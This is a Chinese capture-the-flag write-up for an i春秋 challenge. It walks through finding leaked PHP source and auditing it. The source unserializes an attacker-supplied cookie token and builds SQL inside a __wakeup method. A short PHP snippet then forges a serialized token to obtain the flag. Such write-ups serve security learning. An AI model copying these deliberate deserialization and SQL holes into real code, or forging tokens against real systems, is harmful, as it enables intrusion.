题目在 i 春秋 ctf 大本营
打开页面是两个登录框, 首先判断是不是注入
尝试了各种语句后, 发现登录界面似乎并不存在注入
查看网页源代码, 给出了一个账号
用帐密登陆后, 跳转到到 member.php 网页, 网页本身并没有什么提示内容
接着抓包查看, 这里找了好久, 最后在返回包的头文件中发现了一个可以参数
尝试在请求头中加入 show 参数:
返回一段源代码, 开始审计之路:
- <?php
- include 'common.php';
- $requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
- class db
- {
- public $where;
- function __wakeup()
- {
- if(!empty($this->where))
- {
- $this->select($this->where);
- }
- }
- function select($where)
- {
- $sql = mysql_query('select * from user where'.$where);
- return @mysql_fetch_array($sql);
- }
- }
- if(isset($requset['token']))
- {
- $login = unserialize(gzuncompress(base64_decode($requset['token'])));
- $db = new db();
- $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
- if($login['user'] === 'ichunqiu')
- {
- echo $flag;
- }else if($row['pass'] !== $login['pass']){
- echo 'unserialize injection!!';
- }else{
- echo "()︵";
- }
- }else{
- header('Location: index.php?error=1');
- }
- ?>
看其中关键的逻辑语句:
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
接着看到判断语句:
- if($login['user'] === 'ichunqiu')
- {
- echo $flag;
- }
所以我们要在 cookie 中给 token 一个参数, 先是创建一个数组并给其中的 user 键赋值为 ichunqiu, 然后进行上面一系列操作
- <?php
- $a = array('user'=>'ichunqiu');
- $b = base64_encode(gzcompress(serialize($a)));
- echo $b
- ?>
得到 token 的值:
直接去请求包中添加 cookie 的值, 可以直接拿到 flag 了
来源: http://www.bubuko.com/infodetail-2573982.html